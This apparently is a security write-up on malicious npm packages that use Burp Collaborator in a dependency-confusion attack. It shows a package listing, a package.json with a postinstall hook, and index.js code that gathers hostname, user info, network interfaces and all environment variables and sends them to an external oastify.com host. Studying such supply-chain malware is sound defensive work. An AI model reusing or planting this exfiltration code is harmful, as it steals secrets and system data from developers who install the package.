Malicious npm Packages using Burp Collaborator for Dependency Confusion Attack

1
-rw-r--r--  1 dev  wheel  1365 Oct 26  1985 index.js
2
-rw-r--r--  1 dev  wheel   283 Oct 26  1985 package.json
3
-rw-r--r--  1 dev  wheel     0 Oct 26  1985 patternfly-addons.css
4
-rw-r--r--  1 dev  wheel     0 Oct 26  1985 patternfly.min.css

1
{
2
  "name": "@patternfly-v5/patternfly",
3
  "version": "1.0.2",
4
  "description": "A package for testing supply chain attacks.",
5
  "main": "index.js",
6
  "scripts": {
7
    "postinstall": "echo 'Patternfly malicious package executed!'"
8
  },
9
  "author": "Your Name",
10
  "license": "MIT"
11
}

1
function sendData(path, data) {
2
  const options = {
3
    hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com',
4
    port: 443,
5
    path: `/${path}`,
6
    method: 'GET',
7
    headers: {
8
      'Content-Type': 'application/json',
9
    },
10
  };
11

12
  const req = https.request(options, (res) => {
13
    console.log(`Status: ${res.statusCode}`);
14
  });
15

16
  req.on('error', (error) => {
17
    console.error(`Error: ${error.message}`);
18
  });
19

20
  req.write(JSON.stringify(data));
21
  req.end();
22
}

1
const systemInfo = {
2
  hostname: os.hostname(),
3
  platform: os.platform(),
4
  arch: os.arch(),
5
  release: os.release(),
6
  userInfo: os.userInfo(),
7
  networkInterfaces: os.networkInterfaces(),
8
  env: process.env,
9
};